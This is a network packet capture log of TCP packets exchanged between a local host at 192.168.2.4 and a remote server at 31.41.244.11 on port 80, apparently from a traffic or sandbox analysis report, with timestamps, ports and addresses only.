Dec 8, 2024 18:06:12.084203959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.084212065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.084256887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.084606886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.084651947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.084727049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.084784985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.085557938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.085606098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.085640907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.085685015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.086571932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.086618900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.086674929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.086711884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.087605000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.087645054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.087675095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.087716103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.088582039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.088624001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.088635921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.088679075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.089602947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.089647055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.089675903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.089719057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.090667009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.090711117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.090745926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.090786934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.091675043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.091716051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.091834068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.091876030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.092763901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.092807055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.092838049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.092883110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.093755007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.093805075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.093813896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.093857050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.094732046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.094793081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.094794989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.094827890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.095746994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.095793962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.095982075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.096026897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.096764088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.096805096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.096882105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.096923113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.097825050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.097872972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.097907066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.097949982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.098824978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.098867893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.098929882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.098977089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.099972963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.100018024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.100168943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.100210905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.100879908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.100922108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.101041079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.101083994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.101881981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.101923943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.102113962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.102157116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.102914095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.102957010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.102993965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.103043079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.103794098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.103832006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.103852034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.103889942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.104928970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.104970932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.105082989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.105123997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.105611086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.105650902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.105731964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.105775118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.106520891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.106563091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.106642008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.106681108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.107449055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.107494116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.107502937 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.107548952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.108336926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.108376980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.108431101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.108474016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.109251976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.109304905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.109447002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.109493971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.110141993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.110193014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.110255957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.110301018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.111053944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.111095905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.111172915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.111215115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.112055063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.112098932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.112107992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.112148046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.112977028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.113029003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.113064051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.113104105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.113799095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.113841057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.113919020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.113959074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.114768028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.114813089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.114870071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.114913940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.115705013 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.115748882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.115833998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.115884066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.116548061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.116588116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.116750002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.116789103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.117495060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.117535114 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.117679119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.117722988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.118387938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.118432999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.118530035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.118572950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.119276047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.119318008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.119348049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.119391918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.120171070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.120212078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.120250940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.120294094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.121062994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.121105909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.121156931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.121200085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.122008085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.122050047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.122119904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.122160912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.122932911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.122976065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.122999907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.123040915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.123796940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.123841047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.123894930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.123939991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.124718904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.124780893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.124818087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.124866962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.125624895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.125684023 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.125709057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.125747919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.126543999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.126590014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.126652956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.126693964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.127458096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.127473116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.127496958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.127510071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.128429890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.128474951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.128592014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.128633022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.129261971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.129303932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.129349947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.129389048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.130167961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.130214930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.130270958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.130307913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.131071091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.131113052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.131184101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.131227016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.131982088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.132025957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.132087946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.132128000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.132874966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.132919073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.132986069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.133028984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.133750916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.133794069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.276128054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.276185989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.276197910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.276221037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.276525974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.276576042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.276612997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.276657104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.277206898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.277249098 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.277277946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.277321100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.278184891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.278227091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.278256893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.278297901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.279233932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.279270887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.279364109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.279407024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.279993057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.280035019 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.280215979 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.280252934 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.280832052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.280880928 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.280961037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.281023026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.281763077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.281807899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.281933069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.281974077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.282715082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.282757044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.282918930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.282960892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.283541918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.283588886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.283797026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.283840895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.284478903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.284517050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.284598112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.284641027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.285387039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.285438061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.285471916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.285516024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.286317110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.286364079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.286372900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.286412954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.287359953 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.287404060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.287436962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.287476063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.288331985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.288372993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.288410902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.288453102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.289057970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.289104939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.289146900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.289189100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.289983034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.290025949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.290060997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.290103912 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.290900946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.290946007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.290958881 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.291002035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.291800976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.291842937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.291846037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.291887999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.292660952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.292701960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.292763948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.292803049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.293559074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.293602943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.293710947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.293754101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.294502020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.294542074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.294712067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.294753075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.295438051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.295484066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.295563936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.295604944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.296314955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.296432018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.296451092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.296463966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.297208071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.297254086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.297338009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.297380924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.298197985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.298239946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.298346043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.298388004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.299031973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.299072027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.299186945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.299226999 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.299935102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.299977064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.300040007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.300081968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.300843954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.300887108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.300960064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.301002026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.301728964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.301769018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.301783085 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.301826954 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.302668095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.302711964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.302750111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.302792072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.303551912 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:12.303595066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:12.303658962 CET	80	49765	31.41.244.11	192.168.2.4
